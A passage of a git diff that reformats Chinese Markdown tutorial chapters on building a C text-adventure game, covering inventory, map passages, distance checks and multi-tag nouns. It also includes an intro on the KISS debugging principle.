int listObjectsAtLocation(OBJECT *location) //排除玩家在玩家的位置这种蠢东西 { if (count++ == 0) - //我们需要保证找到一个东西之前他不会打印you see + //我们需要保证找到一个东西之前他不会打印 you see { printf("You see:\n"); } @@ -263,16 +268,16 @@ int listObjectsAtLocation(OBJECT *location) } ``` -在 location.c 中,命令环顾四周的实现,并根据新的数据结构进行调整。旧的位置数组被删除,变量 locationOfPlayer 也是如此。 +在 *location.c* 中,命令环*顾四周的实现*,并根据新的数据结构进行调整。旧的位置数组被删除,变量 *locationOfPlayer* 也是如此。 -# location.h +## location.h ```c extern void executeLook(const char *noun); extern void executeGo(const char *noun); ``` -# location.c +## location.c ```c #include @@ -297,7 +302,7 @@ void executeLook(const char *noun) void executeGo(const char *noun) { -//消除了函数executeGo中的循环,代码更优雅了~ +//消除了函数*executeGo*中的循环,代码更优雅了~ OBJECT *obj = getVisible("where you want to go", noun); if (obj == NULL) { diff --git a/3.编程思维体系构建/3.4.6.5.捡起物品.md b/3.编程思维体系构建/3.4.6.5.捡起物品.md index 7b626af..574e9de 100644 --- a/3.编程思维体系构建/3.4.6.5.捡起物品.md +++ b/3.编程思维体系构建/3.4.6.5.捡起物品.md @@ -8,19 +8,14 @@ 玩家属性不再需要存储在单独的变量中;我们可以使用与任何其他对象相同的数据结构。所以玩家,作为一个对象必须具有以下特点: -- 所处位置(我在哪) +- 所处位置(我在哪) - 玩家可能持有的任何物品的位置。 这使得某些常见操作非常容易实现: -``` - Action Typical -``` - - command Example - -| 玩家从一个位置移动到另一个位置 | go | player->location = cave; | +|**Action**|**Typical Command**|**Example**| | ------------------------------ | --------- | ------------------------------------ | +| 玩家从一个位置移动到另一个位置 | go | player->location = cave; | | 列出某个位置存在的项和参与者 | look | listObjectsAtLocation(cave); | | 玩家获取物品 | get | silver->location = player; | | 玩家掉落物品 | drop | silver->location = player->location; | @@ -29,13 +24,15 @@ | 玩家从演员那里收到物品 | ask | silver->location = player; | | 列出其他演员的库存 | examine | listObjectsAtLocation(guard); | -你可以尝试去使用这些命令(上面的前两个示例已经在上一章中实现了)。现在,我们将为玩家和非玩家角色介绍一些典型的物品栏操作(命令获取掉落给予询问物品栏)。 +你可以尝试去使用这些命令(上面的前两个示例已经在上一章中实现了)。现在,我们将为玩家和非玩家角色介绍一些典型的**物品栏**操作(命令*获取*、*掉落*、*给予*、*询问*和*物品栏*)。 -思考题:你能不能尝试自己实现一下上面的命令? +::: warning 🤔 思考题: +你能不能尝试自己实现一下上面的命令? 如果你可以在不参考下面内容的情况下就写出基本内容会有很大收获的 +::: -# parsexec.c +## parsexec.c ```c #include @@ -48,7 +45,7 @@ bool parseAndExecute(char *input) { char *verb = strtok(input, " \n"); char *noun = strtok(NULL, " \n"); - //第二次使用strtok要用NULL传参 + //第二次使用 strtok 要用 NULL 传参 if (verb != NULL) { if (strcmp(verb, "quit") == 0) @@ -94,7 +91,7 @@ bool parseAndExecute(char *input) 新命令由以下模块实现。 -# inventory.h +## inventory.h ```c extern void executeGet(const char *noun); @@ -104,7 +101,7 @@ extern void executeGive(const char *noun); extern void executeInventory(void); ``` -# inventory.c +## inventory.c ```c #include @@ -163,21 +160,23 @@ void executeInventory(void) } ``` -注意:由于动词名词比较好弄,命令 askgive 只有一个参数:item。 +注意:由于动词名词比较好弄,命令 *ask* 和 *give* 只有一个参数:item。 -思考题:为什么我们要这样设计? +::: warning 🤔 思考题: +为什么我们要这样设计? 你能否为这些命令多加几个参数? +::: -从本质上讲,get, drop, give and ask 这些命令除了将项目从一个地方移动到另一个地方之外,什么都不做。单个函数 move 对象可以对所有四个命令执行该操作。 +从本质上讲,*get*, *drop*, *give* and *ask 这些命令*除了将项目从一个地方移动到另一个地方之外,什么都不做。单个函数 *move 对象*可以对所有四个命令执行该操作。 -# move.h +## move.h ```c extern void moveObject(OBJECT *obj, OBJECT *to); ``` -# move.c +## move.c ```c #include @@ -227,18 +226,19 @@ void moveObject(OBJECT *obj, OBJECT *to) } ``` -思考题:识别一些我们拿不了的物品需要考虑什么因素? +::: warning 🤔 思考题:识别一些我们拿不了的物品需要考虑什么因素? +::: -命令“get”使用函数getVisible将名词转换为 object,就像命令“go”一样;请参阅上一章。但是对于对玩家(或其他一些参与者)已经持有的对象进行drop, ask, give 等命令时,我们需要稍微不同的东西。我们将在 noun.c 中添加一个函数 getPossession。 +命令“get”使用函数*getVisible*将名词转换为 object,就像命令“go”一样;请参阅上一章。但是对于对玩家(或其他一些参与者)已经持有的对象进行*drop*, *ask*, *give 等*命令时,我们需要稍微不同的东西。我们将在 *noun.c* 中添加一个函数 *getPossession*。 -# noun.h +## noun.h ```c extern OBJECT *getVisible(const char *intention, const char *noun); extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun); ``` -# noun.c +## noun.c ```c #include @@ -318,18 +318,18 @@ OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun) } ``` -注意:新函数(45-75 行) getPossessiongetObject 的装饰器(wrapper )(参见第 52 行),它要么返回匹配的对象,要么返回 NULL(如果没有合适的对象与名词匹配)。 +注意:新函数(45-75 行) *getPossession* 是 *getObject* 的装饰器(wrapper)(参见第 52 行),它要么返回匹配的对象,要么返回 NULL(如果没有合适的对象与名词匹配)。 -函数 actor 这里用于命令 giveask,但它也可能由其他命令调用。所以我们在misc.c中定义了它。 +函数 *actor 这里*用于命令 *give* 和 *ask*,但它也可能由其他命令调用。所以我们在*misc.c*中定义了它。 -# misc.h +## misc.h ```c extern OBJECT *actorHere(void); extern int listObjectsAtLocation(OBJECT *location); ``` -# misc.c +## misc.c ```c #include @@ -367,9 +367,10 @@ int listObjectsAtLocation(OBJECT *location) } ``` -思考题:上面第四行中的函数 actorHere 返回的指针指向什么? +::: warning 🤔 思考题:上面第四行中的函数 actorHere 返回的指针指向什么? +::: -在第 9 行中,有一个详尽的,硬编码的非玩家角色列表(到目前为止,只有一个:守卫)。 +在第 9 行中,有一个详尽的,硬编码的非玩家角色列表(到目前为止,只有一个:*守卫*)。 在第 10 章中,我们将开始使用属性作为区分角色与项目和其他非参与者对象的更优雅方式。 diff --git a/3.编程思维体系构建/3.4.6.6.绘制地图.md b/3.编程思维体系构建/3.4.6.6.绘制地图.md index 015960c..070cc33 100644 --- a/3.编程思维体系构建/3.4.6.6.绘制地图.md +++ b/3.编程思维体系构建/3.4.6.6.绘制地图.md @@ -1,17 +1,17 @@ # 6.绘制地图 -作为一个 RPG 游戏怎么能没有地图呢,是时候绘制地图了! +作为一个 RPG 游戏怎么能没有地图呢,*是时候绘制地图了!* -绘制地图的最佳工具始终是:一支铅笔和一张纸。基本地图由位置(矩形)组成,由道路(箭头)连接。我们已经在第 3 章中创建了位置,现在我们将开始添加道路。 +绘制地图的最佳工具始终是:一支铅笔和一张纸。基本地图由**位置**(矩形)组成,由道路(箭头)连接。我们已经在第 3 章中创建了位置,现在我们将开始添加道路。 在虚拟世界中,“道路”可能是连接两个位置的任何东西:一条路,一扇门,沙漠中。基本上,一段经文具有以下属性: - 起点(位置)。 - 目标(位置)。 - 叙述性描述,例如“森林小径”。 -- 在 go 命令中往哪里走的描述性标记 +- 在 *go* 命令中往哪里走的描述性标记 -考虑到这些属性,第 4 章中定义的结构对象就非常适合存储道路了。事实上,一个道路与一个项目或 NPC 并没有太大的不同,它作为“可见出口”存在于某个位置(该位置是起点)。它只是与某些命令的行为不同,特别是命令“go”:应用于道路,go将改变玩家的位置。 +考虑到这些属性,第 4 章中定义的结构对象就非常适合存储道路了。事实上,一个道路与一个项目或 NPC 并没有太大的不同,它作为“可见出口”存在于某个位置(该位置是起点)。它只是与某些命令的行为不同,特别是命令“go”:应用于道路,*go*将改变玩家的位置。 ```c struct object { @@ -24,15 +24,16 @@ struct object { 注意: -- 显然,目的地在大多数其他对象(物品,NPC)中都没有使用 +- 显然,*目的地*在大多数其他对象(物品,NPC)中都没有使用 - 通道总是朝一个方向运行;要双向连接两个位置,我们总是必须创建两个单独的通道。乍一看,这似乎很笨拙,但它确实给了我们很大的灵活性来完善命令“go”的行为 -- 在大地图上,你可能会发现手动创建所有通道很乏味。所以,我强烈建议你使用自定义工具生成地图中重复性更强的部分。这里不会介绍这一点,但您可能会在第 9 章中找到一些灵感,我们将在其中讨论自动胜场。 +- 在大地图上,你可能会发现手动创建所有通道很乏味。所以,我强烈建议你使用自定义工具*生成*地图中重复性更强的部分。这里不会介绍这一点,但您可能会在第 9 章中找到一些灵感,我们将在其中讨论自动胜场。 -思考题:为什么创建两个通道可以使我们的程序更加灵活? +::: warning 🤔 思考题:为什么创建两个通道可以使我们的程序更加灵活? +::: 接下来我们将展开对象数组 -# object.h +## object.h ```c typedef struct object { @@ -56,7 +57,7 @@ extern OBJECT objs[]; #define endOfObjs (objs + 8) ``` -# object.c +## object.c ```c #include @@ -74,9 +75,9 @@ OBJECT objs[] = { }; ``` -我们将在 misc.c 中添加一个小的帮助函数,以确定两个给定位置之间是否存在通道。 +我们将在 *misc.c* 中添加一个小的帮助函数,以确定两个给定位置之间是否存在通道。 -# misc.h +## misc.h ```c extern OBJECT *getPassage(OBJECT *from, OBJECT *to); @@ -84,7 +85,7 @@ extern OBJECT *actorHere(void); extern int listObjectsAtLocation(OBJECT *location); ``` -# misc.c +## misc.c ```c #include @@ -138,16 +139,16 @@ int listObjectsAtLocation(OBJECT *location) } ``` -我们将在命令“go”的实现中使用新功能getPassage来确定是否存在可以将玩家带到所需位置的通道。 +我们将在命令“go”的实现中使用新功能*getPassage*来确定是否存在可以将玩家带到所需位置的通道。 -# location.h +## location.h ```c extern void executeLook(const char *noun); extern void executeGo(const char *noun); ``` -# location.c +## location.c ```c #include @@ -177,7 +178,7 @@ void executeGo(const char *noun) // already handled by getVisible } else if (getPassage(player->location, obj) != NULL) - //go只会在有地方的时候才会运行起来 + //go 只会在有地方的时候才会运行起来 { printf("OK.\n"); player->location = obj; @@ -200,16 +201,16 @@ void executeGo(const char *noun) } ``` -我们还将使用新功能getPassage来确定从玩家站立的位置是否可以看到某个位置。未通过通道连接到当前位置的位置不被视为可见。 +我们还将使用新功能*getPassage*来确定从玩家站立的位置是否可以看到某个位置。未通过通道连接到当前位置的位置不被视为可见。 -# noun.h +## noun.h ```c extern OBJECT *getVisible(const char *intention, const char *noun); extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun); ``` -# noun.c +## noun.c ```c #include @@ -294,11 +295,12 @@ OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun) 显然,此示例中的地图是微不足道的:只有两个位置,并且它们在两个方向上都连接在一起。第 12 章将增加第三个地点。 -思考题:你能否绘制一张更精细的地图,并将其变成对象列表(位置和通道) +::: warning 🤔 思考题: +你能否绘制一张更精细的地图,并将其变成对象列表(位置和通道) -``` - 注:不用当成任务,自行实验即可 -``` +注:不用当成任务,自行实验即可 + +::: 输出样例 diff --git a/3.编程思维体系构建/3.4.6.7.增大距离.md b/3.编程思维体系构建/3.4.6.7.增大距离.md index bcb0ce3..08b99fb 100644 --- a/3.编程思维体系构建/3.4.6.7.增大距离.md +++ b/3.编程思维体系构建/3.4.6.7.增大距离.md @@ -1,23 +1,23 @@ # 7.增大距离 -一个典型的冒险包含许多谜题。众所周知,Infocom的冒险很难完成。解决每个难题可能需要数周甚至数月的反复试验。 +*一个典型的冒险包含许多谜题。众所周知,[Infocom](https://en.wikipedia.org/wiki/Infocom)的冒险很难完成。解决每个难题可能需要数周甚至数月的反复试验。* -当玩家操纵角色失败后,如果只是返回“你不能这么操作”来回应玩家,会很 nt,很没意思 +*当玩家操纵角色失败后,如果只是返回“你不能这么操作”来回应玩家,会很 nt,很没意思。* -它忽略了电脑游戏的一个重要方面,而这也是生活本身的一部分:玩家必须从错误中吸取教训。 +*它忽略了电脑游戏的一个重要方面,而这也是生活本身的一部分:玩家必须从错误中吸取教训。* 当你的游戏反复输入东西都是,你不能这样做的时候,会显得很无聊的。 -冒险游戏至少应该做的是解释为什么玩家的命令无法完成:“你不能这样做,因为......”这有助于使虚拟世界更具说服力,故事更可信,游戏更有趣。 +*冒险游戏至少应该做的是解释为什么玩家的命令无法完成:“你不能这样做,因为......”这有助于使虚拟世界更具说服力,故事更可信,游戏更有趣。* -我们已经付出了相当大的努力让游戏解释为什么某些命令是无效的。只需看看名词.c,inventory.c,location.cmove.c中的许多printf调用。 但随着游戏变得越来越复杂,这正成为一个相当大的负担。我们需要一种更结构化的方法来检测和处理错误情况。这就是我们在本章中将要讨论的内容。 +我们已经付出了相当大的努力让游戏解释**为什么**某些命令是无效的。只需看看*名词.c,inventory.c,location.c*,*move.c*中的许多*printf*调用。但随着游戏变得越来越复杂,这正成为一个相当大的负担。我们需要一种更结构化的方法来检测和处理错误情况。这就是我们在本章中将要讨论的内容。 大多数命令对一个或多个对象进行操作,例如: - 玩家拿起一件物品,然后把它交给另一个 NPC。 - 玩家沿着一条通道到另一个位置。 -首先要检查的(在[解析器](http://en.wikipedia.org/wiki/Parsing)捕获检测是否会有明显[拼写错误](http://en.wikipedia.org/wiki/Typographical_error)之后)是这些对象是否存在; +首先要检查的(在[解析器](http://en.wikipedia.org/wiki/Parsing)捕获检测是否会有明显[拼写错误](http://en.wikipedia.org/wiki/Typographical_error)之后)是这些对象**是否存在**; 失败应该导致类似“这里没有...“或”你看不到任何东西...”等文字出现。在本章中,我们将构建一个通用函数,每个命令都可以使用它来找出玩家是否在可及的范围内。 @@ -38,7 +38,7 @@ | distHereContained | 一个物体(NPC 或“容器”)存在于玩家的位置,正在拿着另一个物体 | object->location != NULL &&
object->location->location == player->location | | distOverthere | 对象是附近的位置 | getPassage(player->location, object) != NULL | -第一种情况(对象是玩家)可能看起来微不足道,但它仍然很重要。例如,命令“examine yourself”不应该返回“这里没有你自己”。 +第一种情况(对象是玩家)可能看起来微不足道,但它仍然很重要。例如,命令“examine yourself”*不应该*返回“这里没有你自己”。 我试图遵循一个逻辑顺序:附近的事物最高优先级,随后优先级会变低。 @@ -48,7 +48,7 @@ 请注意,我们有七种不同的“这里”案例,但只有一种是“不在这里”。这是因为通常,游戏只需要提供有关玩家可以感知的事物的信息。如果它不在这里,那么就没什么可说的了。 -在最左边的列中,我们为每个案例提出了一个符号名称。我们将在名为 DISTANCE 的[枚举](http://en.wikipedia.org/wiki/Enumerated_type)中收集这些名称。 +在最左边的列中,我们为每个案例提出了一个符号名称。我们将在名为 **DISTANCE** 的[枚举](http://en.wikipedia.org/wiki/Enumerated_type)中收集这些名称。 ```c typedef enum { @@ -64,7 +64,8 @@ typedef enum { } DISTANCE; ``` -typedef 以及枚举类 enum 之前有接触过吗?没有接触过的话就去学习一下吧。 +::: warning 💡 typedef 以及枚举类 enum 之前有接触过吗?没有接触过的话就去学习一下吧。 +::: 在最右边的列中,我们为每个情况提出了一个满足条件。通过一些重新洗牌,我们可以很容易地将其转换为计算对象“距离”的函数(从玩家的角度来看): @@ -84,11 +85,13 @@ DISTANCE getDistance(OBJECT *from, OBJECT *to) } ``` -思考题:你是否有其他方法实现这个功能? +::: warning 🤔 思考题: +你是否有其他方法实现这个功能? 注:自行实验即可 +::: -就这样!我们可以调用此函数并对其返回值进行比较。例如,我们在 noun.c中有以下代码: +就这样!我们可以调用此函数并对其返回值进行比较。例如,我们在 noun*.c*中有以下代码: ```c else if (!(obj == player || @@ -110,7 +113,7 @@ else if (!(getDistance(player, obj) == distSelf || getDistance(player, obj) == distHere || getDistance(player, obj) == distOverthere || getDistance(player, obj) == distHeldContained || - getDistance(player, obj) == distHereContained) + getDistance(player, obj) == distHereContained)) ``` 这可以简化为: @@ -119,13 +122,14 @@ else if (!(getDistance(player, obj) == distSelf || else if (getDistance(player, obj) >= distNotHere) ``` -尝试理解一下这样做的意义 +::: warning 🤔 尝试理解一下这样做的意义 +::: -这只是一个例子,让你对这个概念有所了解;您将在下面找到noun.c的实际实现,看起来略有不同。 +这只是一个例子,让你对这个概念有所了解;您将在下面找到*noun.c*的实际实现,看起来略有不同。 -是时候把事情落实到位了。枚举 DISTANCE 和函数 getDistance 的定义被添加到 misc.hmisc.c 中,因为我们将在多个模块中使用它们。 +是时候把事情落实到位了。枚举 *DISTANCE* 和函数 *getDistance* 的定义被添加到 *misc.h* 和 *misc.c* 中,因为我们将在多个模块中使用它们。 -# misc.h +## misc.h ```c typedef enum { @@ -150,7 +154,7 @@ extern OBJECT *actorHere(void); extern int listObjectsAtLocation(OBJECT *location); ``` -# misc.c +## misc.c ```c #include @@ -226,16 +230,16 @@ int listObjectsAtLocation(OBJECT *location) 注意:isHolding 这个函数之后我们将在各个地方使用 -# location.h +## location.h ```c extern void executeLook(const char *noun); extern void executeGo(const char *noun); ``` -在函数 executeGo 中,我们可以用检查距离来替换大多数 if 条件。 +在函数 *executeGo* 中,我们可以用检查距离来替换大多数 *if* 条件。 -# location.c +## location.c ```c #include @@ -290,11 +294,12 @@ void executeGo(const char *noun) } ``` -思考题:你能否为 switch 函数增加更多 case 来完善判断条件? +::: warning 🤔 思考题:你能否为 switch 函数增加更多 case 来完善判断条件? +::: -函数 executeGet 也是如此。 +函数 *executeGet* 也是如此。 -# inventory.h +## **inventory.h** ```c extern void executeGet(const char *noun); @@ -304,7 +309,7 @@ extern void executeGive(const char *noun); extern void executeInventory(void); ``` -# inventory.c +## **inventory.c** ```c #include @@ -367,16 +372,16 @@ void executeInventory(void) } ``` -最后,我们将调整 noun.c中的约束。我们正在向函数getObject添加两个参数,以便找到特定名词的匹配项,同时忽略任何被认为不存在的对象。这将在下一章中得到真正的回报,我们将在下一章中介绍具有相同标签的不同对象。 +最后,我们将调整 noun*.c*中的约束。我们正在向函数*getObject*添加两个参数,以便找到特定名词的匹配项,同时忽略任何被认为不存在的对象。这将在下一章中得到真正的回报,我们将在下一章中介绍具有相同标签的不同对象。 -# noun.h +## noun.h ```c extern OBJECT *getVisible(const char *intention, const char *noun); extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun); ``` -# noun.c +## noun.c ```c #include @@ -455,9 +460,10 @@ OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun) } ``` -思考题:你能理解什么时候加 const,什么时候不用吗? +::: warning 🤔 思考题:你能理解什么时候加 const,什么时候不用吗? +::: -在本章中,距离的概念主要用于在游戏可以给用户的不同响应之间进行选择。但是,距离的好处并不局限于输出端;它可以同样很好地用于在输入端进行改进。在下一章中,我们将使用距离来提高对用户输入的名词的识别。 +在本章中,*距离*的概念主要用于在游戏可以给用户的不同响应之间进行选择。但是,距离的好处并不局限于**输出**端;它可以同样很好地用于在**输入**端进行改进。在下一章中,我们将使用距离来提高对用户输入的名词的识别。 输出样例 diff --git a/3.编程思维体系构建/3.4.6.8.移动方向.md b/3.编程思维体系构建/3.4.6.8.移动方向.md index 443c99e..c29610c 100644 --- a/3.编程思维体系构建/3.4.6.8.移动方向.md +++ b/3.编程思维体系构建/3.4.6.8.移动方向.md @@ -1,13 +1,14 @@ # 8.移动方向 -传统的文本冒险使用指南针方向进行导航。 +*传统的文本冒险使用[指南针方向](https://en.wikipedia.org/wiki/Cardinal_direction)进行导航。* -例如,我们在第 6 章中绘制的地图上,玩家可能想向东移动,从田野移动到洞穴。我们可以通过给连接Cave的通道标上“east”来实现这一点。但是,我们首先需要解决两个问题。 +例如,我们在第 6 章中绘制的地图上,玩家可能想**向东**移动,从田野移动到洞穴。我们可以通过给连接**Cave**的通道标上“east”来实现这一点。但是,我们首先需要解决两个问题。 1. 我们可能仍然想把这段通道称为“entrance”和“east”。但现在,一个对象只能有一个标签。 2. 在更大的地图上,具有更多的位置和道路,标签“east”将被定义多次。到目前为止,标签在我们的游戏中是全球独一无二的,没有重复项。 -思考题:你能否想出解决办法? +::: warning 🤔 思考题:你能否想出解决办法? +::: 这些问题同样适用于其他对象,而不仅仅是通道。 @@ -17,11 +18,11 @@ 这立即将我们带到了解析器的第三个问题: -1. 一个标签只能是一个单词;“ sliver coin”这是俩单词,他不接受啊 +1. 一个标签只能是一个单词;“sliver coin”这是俩单词,他不接受啊 所有三个问题都将在本章中解决,从问题#1 开始。它通过为每个对象提供一个标签列表来解决,而不仅仅是一个标签。 -# object.h +## object.h ```c typedef struct object { @@ -47,7 +48,7 @@ extern OBJECT objs[]; #define endOfObjs (objs + 10) ``` -# object.c +## object.c ```c #include @@ -63,7 +64,7 @@ static const char *tags6[] = {"east", "entrance", NULL}; static const char *tags7[] = {"west", "exit", NULL}; static const char *tags8[] = {"west", "north", "south", "forest", NULL}; static const char *tags9[] = {"east", "north", "south", "rock", NULL}; -//我们不固定标签长度,在结束的时候用NULL来标记 +//我们不固定标签长度,在结束的时候用 NULL 来标记 OBJECT objs[] = { {"an open field" , tags0, NULL , NULL }, {"a little cave" , tags1, NULL , NULL }, @@ -75,22 +76,22 @@ OBJECT objs[] = { {"an exit to the west" , tags7, cave , field }, {"dense forest all around" , tags8, field, NULL }, {"solid rock all around" , tags9, cave , NULL } - //我们用NULL来阻绝进入一个你不知道的地方 + //我们用 NULL 来阻绝进入一个你不知道的地方 }; ``` -当然,要让这个改动生效,我们还需要调整noun.c中的objectHasTag函数。 +当然,要让这个改动生效,我们还需要调整*noun.c*中的*objectHasTag*函数。 -同时,我们将让函数 getVisiblegetPossession 告知玩家他必须更具体的选择你到底是银币还是金币 ,而不是随机选择任何一个对象。 +*同时,我们将让函数 getVisible*和*getPossession* 告知玩家他必须更具体的选择你到底是银币还是金币,而不是随机选择任何一个对象。 -# noun.h +## noun.h ```c extern OBJECT *getVisible(const char *intention, const char *noun); extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun); ``` -# noun.c +## **noun.c** ```c #include @@ -107,7 +108,7 @@ static bool objectHasTag(OBJECT *obj, const char *noun) for (tag = obj->tags; *tag != NULL; tag++) { if (strcmp(*tag, noun) == 0) return true; - }//扫描对象的tag列表 + }//扫描对象的 tag 列表 } return false; } @@ -187,9 +188,9 @@ OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun) } ``` -问题 #3 可以通过从函数parseAndExecute中删除一个 [空格](http://en.wikipedia.org/wiki/Space_(punctuation))字符来解决(下面的第 10 行)。这个解决方案远非完美('silver' 和 'coin' 之间的双空格是大咩的),但直到我们在第 13 章中让自己成为一个更好的解析器之前。 +问题 #3 可以通过从函数*parseAndExecute*中删除一个 [空格](http://en.wikipedia.org/wiki/Space_(punctuation))字符来解决(下面的第 10 行)。这个解决方案远非完美('silver' 和 'coin' 之间的双空格是打咩的),但直到我们在第 13 章中让自己成为一个更好的解析器之前。 -# parsexec.c +## parsexec.c ```c #include @@ -245,8 +246,9 @@ bool parseAndExecute(char *input) } ``` -模块main.cinventory.clocation.cmove.cmisc.c保持不变 +模块*main.c*、*inventory.c*、*location.c*、*move.c* 和*misc.c*保持不变 -现在对象数组 ( object.c ) 开始在多个维度上增长(特别是在引入多个标签的情况下),我们需要一种使其更易于维护的方法。 +现在对象数组 ( *object.c* ) 开始在多个维度上增长(特别是在引入多个标签的情况下),我们需要一种使其更易于维护的方法。 -猜猜看该怎么办? +::: warning 🤔 猜猜看该怎么办? +::: diff --git a/3.编程思维体系构建/3.4.6.9.练习:生成代码.md b/3.编程思维体系构建/3.4.6.9.练习:生成代码.md index fe7f8c0..37fae34 100644 --- a/3.编程思维体系构建/3.4.6.9.练习:生成代码.md +++ b/3.编程思维体系构建/3.4.6.9.练习:生成代码.md @@ -1,10 +1,10 @@ -# 9.练习:生成代码 +# 9.练习:生成代码 -*到目前为止,我们的冒险游戏有10个对象。每个对象由有5 个属性组成。一个真正的文本冒险可能有数百个甚至数千个对象,并且每个对象的属性数量也可能增加(请参阅下一章)。在目前的形式下,维护如此庞大的对象和属性列表将很困难。* +*到目前为止,我们的冒险游戏有 10 个对象。每个对象由有 5 个属性组成。一个真正的文本冒险可能有数百个甚至数千个对象,并且每个对象的属性数量也可能增加(请参阅下一章)。在目前的形式下,维护如此庞大的对象和属性列表将很困难。* -例如,当我们在添加对象 *wallField* 和 *wallCave* 时,我们必须在三个不同的位置执行此操作:一次在 *object.h* 中(作为*#define*),两次在 *object.c* 中(数组 *objs* 中的一个元素,以及一个单独的标签数组)。这显然十分笨拙并且容易出错。 +例如,当我们在添加对象 *wallField* 和 *wallCave* 时,我们必须在三个不同的位置执行此操作:一次在 *object.h* 中(作为#define),两次在 *object.c* 中(数组 *objs* 中的一个元素,以及一个单独的标签数组)。这显然十分笨拙并且容易出错。 -我们将不再手工维护object. h和object. c,而是从更适合我们需要的单一源开始生成文件。这个新的源文件可以用你喜欢的任何语言( 典型的是某些特定领域的语言 ),只要你有工具把它转换回C。下面是一个简单的例子,考虑下列布局来组织我们的对象: +我们将不再手工维护 object. h 和 object. c,而是从更适合我们需要的单一源开始生成文件。这个新的源文件可以用你喜欢的任何语言 ( 典型的是某些特定领域的语言 ),只要你有工具把它转换回 C。下面是一个简单的例子,考虑下列布局来组织我们的对象: ```txt /* Raw C code (declarations) */ @@ -21,7 +21,7 @@ 根据到目前为止收集的对象,我们可以构造以下源文件。文件名并不重要;我只是简单地将其命名为*object.txt*,以明确它与*object.h*和*object.c*相关。 -# object.txt +## object.txt ```txt #include @@ -87,4 +87,5 @@ extern OBJECT objs[]; location cave ``` -思考题:你能否自己用C来实现这段伪代码? \ No newline at end of file +::: warning 🤔 思考题:你能否自己用 C 来实现这段伪代码? +::: diff --git a/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md b/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md index e87fd8d..d7d44a8 100644 --- a/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md +++ b/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md @@ -1,10 +1,10 @@ # 阶段二:文字冒险(cool) -# 前言 +## 前言 -本来打算让各位做下面的任务来进行进一步的学习的,但是想了想,实在是,太无聊啦! +本来打算让各位做下面的任务来进行进一步的学习的,但是想了想,实在是,**太无聊啦**! -又想让你们来做一个管理系统,但是又想到你们可能会进行无数个管理系统,这也太无聊啦! +又想让你们来做一个管理系统,但是又想到你们可能会进行无数个管理系统,**这也太无聊啦**! 因此呢,我打算带大家玩一个文字冒险游戏![源头取自这里](https://github.com/helderman/htpataic),如果你想自己体验全流程的话可以试试玩哦! @@ -20,24 +20,24 @@ 当然,如果你选择跳过,也不会对 python 开发那里造成非常大的影响但是你会错失一个非常宝贵的学习机会。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnustZBhjMu8FPN0Kxi4Mwvf.jpg) +![](https://cdn.xyxsw.site/boxcnustZBhjMu8FPN0Kxi4Mwvf.jpg) 在 1980 年代, [文字冒险](http://en.wikipedia.org/wiki/Text_adventure) 是一种受人尊敬的电脑游戏类型。但是时代已经变了,在 21 世纪,它们与 带有 3D 引擎的现代 [MMORPG 相比显得苍白无力。](http://en.wikipedia.org/wiki/Mmorpg)书籍在电影的兴起中幸存下来,而基于文本的游戏很快就输掉了与图形游戏的战斗。“互动小说”由一个活跃的社区保持活力,但它的商业价值早已不复存在。 -# 系统调试的黄金法则:KISS 原则 +## 系统调试的黄金法则:KISS 原则 -这里的 `KISS` 是 `Keep It Simple, Stupid` 的缩写, 它的中文翻译是: 不要在一开始追求绝对的完美. +这里的 `KISS` 是 `Keep It Simple, Stupid` 的缩写,它的中文翻译是:不要在一开始追求绝对的完美。 -随着以后代码量会越来越多, 各个模块之间的交互也越来越复杂, 工程的维护变得越来越困难, 一个很弱智的 bug 可能需要调好几天. +随着以后代码量会越来越多,各个模块之间的交互也越来越复杂,工程的维护变得越来越困难,一个很弱智的 bug 可能需要调好几天。 -在这种情况下, 系统能跑起来才是王道, 跑不起来什么都是浮云, 追求面面俱到只会增加代码维护的难度. +在这种情况下,系统能跑起来才是王道,跑不起来什么都是浮云,追求面面俱到只会增加代码维护的难度。 -唯一可以把你从 bug 的混沌中拯救出来的就是 KISS 法则, 它的宗旨是从易到难, 逐步推进, 一次只做一件事, 少做无关的事. +唯一可以把你从 bug 的混沌中拯救出来的就是 KISS 法则,它的宗旨是**从易到难,逐步推进**, 一次只做一件事,少做无关的事。 -如果你不知道这是什么意思, 我们以可能发生的 `str` 成员缓冲区溢出问题来作为例子. KISS 法则告诉你, 你应该使用 `assert(0)`, 就算不"得体"地处理上述问题, 仍然不会影响表达式求值的核心功能的正确性. +如果你不知道这是什么意思,我们以可能发生的 `str` 成员缓冲区溢出问题来作为例子。KISS 法则告诉你,你应该使用 `assert(0)`, 就算不"得体"地处理上述问题,仍然不会影响表达式求值的核心功能的正确性。 -如果你还记得调试公理, 你会发现两者之间是有联系的: 调试公理第二点告诉你, 未测试代码永远是错的. 与其一下子写那么多"错误"的代码, 倒不如使用 `assert(0)` 来有效帮助你减少这些"错误". +如果你还记得调试公理,你会发现两者之间是有联系的:调试公理第二点告诉你,未测试代码永远是错的。与其一下子写那么多"错误"的代码,倒不如使用 `assert(0)` 来有效帮助你减少这些"错误". -如果把 KISS 法则放在软件工程领域来解释, 它强调的就是多做[单元测试](http://en.wikipedia.org/wiki/Unit_testing): 写一个函数, 对它进行测试, 正确之后再写下一个函数, 再对它进行测试... 一种好的测试方式是使用 assertion 进行验证, +如果把 KISS 法则放在软件工程领域来解释,它强调的就是多做[单元测试](http://en.wikipedia.org/wiki/Unit_testing): 写一个函数,对它进行测试,正确之后再写下一个函数,再对它进行测试... 一种好的测试方式是使用 assertion 进行验证, -KISS 法则不但广泛用在计算机领域, 就连其它很多领域也视其为黄金法则, [这里](http://blog.sciencenet.cn/blog-414166-562616.html)有一篇文章举出了很多的例子, 我们强烈建议你阅读它, 体会 KISS 法则的重要性. +KISS 法则不但广泛用在计算机领域,就连其它很多领域也视其为黄金法则,[这里](http://blog.sciencenet.cn/blog-414166-562616.html)有一篇文章举出了很多的例子,我们强烈建议你阅读它,体会 